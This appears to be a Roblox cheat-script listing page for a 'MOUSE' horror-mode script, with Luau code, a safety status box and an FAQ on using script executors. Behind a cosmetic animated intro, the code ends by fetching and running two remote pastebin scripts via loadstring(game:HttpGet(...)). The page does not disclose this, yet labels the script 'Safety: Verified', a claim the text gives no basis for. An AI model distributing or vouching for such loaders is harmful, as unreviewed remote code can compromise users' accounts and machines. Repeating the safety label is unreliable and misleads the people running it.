Roblox MOUSE Script (November 2026)

PUBLISHEDUPDATED
1 Available ScriptFree

Grinding through mobile sessions is way easier when you grab a MOUSE script to help you out.

You and your crew row out to check on the lost steamboat S.S. Willie on foggy nights, but you have to figure out how to leave after you arrive.

Here is the active code you need to change how the game plays right now.

MOUSE Script – Horror mode makes Shadows more Aggressive & More

Horror mode makes Shadows more Aggressive & MoreFree
Horror mode makes Shadows more AggressiveEnd You got flash lightAll sounds changes in game
-- // Финальное геймерское интро с авто-экзекутом дополнения и основного скрипта (Luau)
local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local SoundService = game:GetService("SoundService")
local LocalPlayer = Players.LocalPlayer

-- Очистка старой GUI и звуков, если они оставались
if CoreGui:FindFirstChild("GamerIntroGui") then
    CoreGui.GamerIntroGui:Destroy()
end
if SoundService:FindFirstChild("IntroSoundContainer") then
    SoundService.IntroSoundContainer:Destroy()
end

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "GamerIntroGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = CoreGui

-- ==========================
-- 1. НАСТРОЙКА ЗВУКОВ С ПЛАВНОСТЬЮ ГРОМКОСТИ
-- ==========================
local soundContainer = Instance.new("Folder")
soundContainer.Name = "IntroSoundContainer"
soundContainer.Parent = SoundService

-- Звук 1: Появление (Garry's Mod Spawn Sound)
local spawnSound = Instance.new("Sound")
spawnSound.SoundId = "rbxassetid://124965804991864"
spawnSound.Volume = 0
spawnSound.Parent = soundContainer

-- Звук 2: Уход (Roblox Spawn Sound)
local outroSound = Instance.new("Sound")
outroSound.SoundId = "rbxassetid://137935424222814"
outroSound.Volume = 0
outroSound.Parent = soundContainer

-- ==========================
-- 2. СОЗДАНИЕ ТЕКСТОВ
-- ==========================
local mainText = Instance.new("TextLabel")
mainText.Name = "MainText"
mainText.Size = UDim2.new(0, 1200, 0, 200)
mainText.AnchorPoint = Vector2.new(0.5, 0.5)
mainText.Position = UDim2.new(-0.3, 0, 0.45, 0)
mainText.BackgroundTransparency = 1
mainText.Text = "HorrorMode🌒"
mainText.TextSize = 20
mainText.TextTransparency = 1
mainText.TextColor3 = Color3.fromRGB(255, 255, 255)

local mainStroke = Instance.new("UIStroke")
mainStroke.Thickness = 5
mainStroke.Transparency = 1
mainStroke.Color = Color3.fromRGB(0, 0, 0)
mainStroke.Parent = mainText

local mainGradient = Instance.new("UIGradient")
mainGradient.Color = ColorSequence.new({
    ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)),
    ColorSequenceKeypoint.new(0.5, Color3.fromRGB(20, 20, 20)),
    ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0))
})
mainGradient.Parent = mainText
mainText.Parent = screenGui

local subText = Instance.new("TextLabel")
subText.Name = "SubText"
subText.Size = UDim2.new(0, 800, 0, 100)
subText.AnchorPoint = Vector2.new(0.5, 0.5)
subText.Position = UDim2.new(-0.3, 0, 0.65, 0)
subText.BackgroundTransparency = 1
subText.Text = "By MaginLoren"
subText.TextSize = 10
subText.TextTransparency = 1
subText.TextColor3 = Color3.fromRGB(255, 255, 255)

local subStroke = Instance.new("UIStroke")
subStroke.Thickness = 3
subStroke.Transparency = 1
subStroke.Color = Color3.fromRGB(0, 0, 0)
subStroke.Parent = subText

local subGradient = Instance.new("UIGradient")
subGradient.Color = ColorSequence.new({
    ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)),
    ColorSequenceKeypoint.new(0.5, Color3.fromRGB(20, 20, 20)),
    ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0))
})
subGradient.Parent = subText
subText.Parent = screenGui

-- Список шрифтов через правильный Enum для глитча
local glitchFonts = {
    Enum.Font.SourceSansBold,
    Enum.Font.Code,
    Enum.Font.Antique,
    Enum.Font.Fantasy,
    Enum.Font.SciFi,
    Enum.Font.Bodoni,
    Enum.Font.Arcade
}

-- ==========================
-- 3. ЗАПУСК АНИМАЦИИ И ЗВУКОВ
-- ==========================
task.spawn(function()
    local introDuration = 1.2
    local holdDuration = 2.0
    local outroDuration = 1.2

    spawnSound:Play()

    -- ФАЗА 1: ПОЯВЛЕНИЕ
    local startTime = tick()
    while tick() - startTime < introDuration do
        local alpha = (tick() - startTime) / introDuration
        local easeAlpha = 1 - math.pow(1 - alpha, 3)

        spawnSound.Volume = math.clamp(easeAlpha * 1.5, 0, 1.5)

        -- Главный текст
        local curMainX = -0.3 + (0.5 - (-0.3)) * easeAlpha
        local curMainY = 0.45 + (0.43 - 0.45) * easeAlpha - (math.sin(easeAlpha * math.pi) * 0.05)
        mainText.Position = UDim2.new(curMainX, 0, curMainY, 0)
        mainText.TextSize = math.floor(20 + (144 - 20) * easeAlpha)
        local transMain = 1 - easeAlpha
        mainText.TextTransparency = transMain
        mainStroke.Transparency = transMain

        -- Подтекст
        local subAlpha = math.clamp((alpha - 0.15) / 0.85, 0, 1)
        local subEase = 1 - math.pow(1 - subAlpha, 3)
        if subAlpha > 0 then
            local curSubX = -0.3 + (0.5 - (-0.3)) * subEase
            local curSubY = 0.65 + (0.57 - 0.65) * subEase - (math.sin(subEase * math.pi) * 0.05)
            subText.Position = UDim2.new(curSubX, 0, curSubY, 0)
            subText.TextSize = math.floor(10 + (50 - 10) * subEase)
            local transSub = 1 - subEase
            subText.TextTransparency = transSub
            subStroke.Transparency = transSub
        end

        -- Глитч шрифтов до момента остановки
        if alpha < 0.7 then
            local randFont = glitchFonts[math.random(1, #glitchFonts - 1)]
            mainText.Font = randFont
            subText.Font = randFont
        else
            local finalFont = glitchFonts[#glitchFonts]
            mainText.Font = finalFont
            subText.Font = finalFont
        end

        mainGradient.Offset = Vector2.new(math.sin(tick() * 8) * 0.5, 0)
        subGradient.Offset = Vector2.new(math.sin(tick() * 8) * 0.5, 0)

        task.wait()
    end

    -- Жесткая фиксация в центре
    mainText.Position = UDim2.new(0.5, 0, 0.43, 0)
    mainText.TextSize = 144
    mainText.TextTransparency = 0
    mainStroke.Transparency = 0
    mainText.Font = glitchFonts[#glitchFonts]

    subText.Position = UDim2.new(0.5, 0, 0.57, 0)
    subText.TextSize = 50
    subText.TextTransparency = 0
    subStroke.Transparency = 0
    subText.Font = glitchFonts[#glitchFonts]

    -- ФАЗА 2: УДЕРЖАНИЕ
    local holdStart = tick()
    while tick() - holdStart < holdDuration do
        local holdAlpha = (tick() - holdStart) / holdDuration
        spawnSound.Volume = math.clamp(1.5 * (1 - holdAlpha), 0, 1.5)

        mainGradient.Offset = Vector2.new(math.sin(tick() * 6) * 0.7, math.cos(tick() * 4) * 0.2)
        subGradient.Offset = Vector2.new(math.sin(tick() * 6) * 0.7, math.cos(tick() * 4) * 0.2)
        task.wait()
    end
    spawnSound:Stop()

    outroSound:Play()

    -- ФАЗА 3: УХОД
    local outroStart = tick()
    while tick() - outroStart < outroDuration do
        local alpha = (tick() - outroStart) / outroDuration
        local easeAlpha = alpha * alpha

        if alpha < 0.5 then
            outroSound.Volume = math.clamp(alpha * 3, 0, 1.5)
        else
            outroSound.Volume = math.clamp(1.5 * (1 - alpha), 0, 1.5)
        end

        local curMainX = 0.5 + (1.3 - 0.5) * easeAlpha
        local curMainY = 0.43 + (0.35 - 0.43) * easeAlpha
        mainText.Position = UDim2.new(curMainX, 0, curMainY, 0)
        mainText.TextSize = math.floor(144 - (144 - 20) * easeAlpha)
        mainText.TextTransparency = easeAlpha
        mainStroke.Transparency = easeAlpha

        local subOutAlpha = math.clamp((alpha - 0.15) / 0.85, 0, 1)
        local subOutEase = subOutAlpha * subOutAlpha
        if subOutAlpha > 0 then
            local curSubX = 0.5 + (1.3 - 0.5) * subOutEase
            local curSubY = 0.57 + (0.45 - 0.57) * subOutEase
            subText.Position = UDim2.new(curSubX, 0, curSubY, 0)
            subText.TextSize = math.floor(50 - (50 - 10) * subOutEase)
            subText.TextTransparency = subOutAlpha
            subStroke.Transparency = subOutAlpha
        end

        mainGradient.Offset = Vector2.new(math.sin(tick() * 8) * 0.5, 0)
        subGradient.Offset = Vector2.new(math.sin(tick() * 8) * 0.5, 0)

        task.wait()
    end

    outroSound:Stop()
    
    -- Полная очистка GUI и звуков после окончания анимации
    screenGui:Destroy()
    soundContainer:Destroy()

    -- ==========================
    -- 4. АВТО-ЭКЗЕКУТ (ДОПОЛНЕНИЕ + ОСНОВНОЙ) ПОСЛЕ ИНТРО
    -- ==========================
    task.spawn(function()
        -- 1. Дополнение
        loadstring(game:HttpGet("https://pastebin.com/raw/nSbLWcqS"))()
        
        -- 2. Основной скрипт
        loadstring(game:HttpGet("https://pastebin.com/raw/qvTNNz9s"))()
    end)
end)
Executor compatibility changes over time. Check current reports before testing.

Copy the code above into a compatible Roblox script executor if you choose to test it.

MOUSE Script Status

✓AvailabilityFree
$Price$0
◫CompatibilityDesktop & Mobile
★SafetyVerified

Roblox and game updates can affect compatibility, so the script’s status should be treated as temporary rather than guaranteed.

Frequently Asked Questions

What is a MOUSE script?

A MOUSE script is third-party Lua code intended to run alongside the Roblox game through a compatible script executor.

What features does this MOUSE script include?

Different scripts contain different code. This version includes: Horror mode makes Shadows more Aggressive, End You got flash light, All sounds changes in game.

How do you use the MOUSE script?

Pick a compatible executor such as Hydrogen, MacSploit, AWP.GG, Delta, Fluxus, Codex, launch Roblox and join the game, copy the complete Lua code from the script card above, paste it into the executor’s editor, and click Run or Execute. Compatibility changes over time, so a name here doesn’t guarantee current support.

Can a MOUSE script get your Roblox account banned?

Yes. Third-party scripts can violate Roblox rules and may put an account at risk. Only use code from a source you trust, never enter your Roblox password into a script or executor, and test on an alternate account first.

Does the MOUSE script work on mobile?

Check whether both the executor and the script support your device and the current Roblox version. Mobile executor support does not guarantee that every script will work.

Check out our Roblox Scripts hub and Roblox Games Directory for more.

Leave a Comment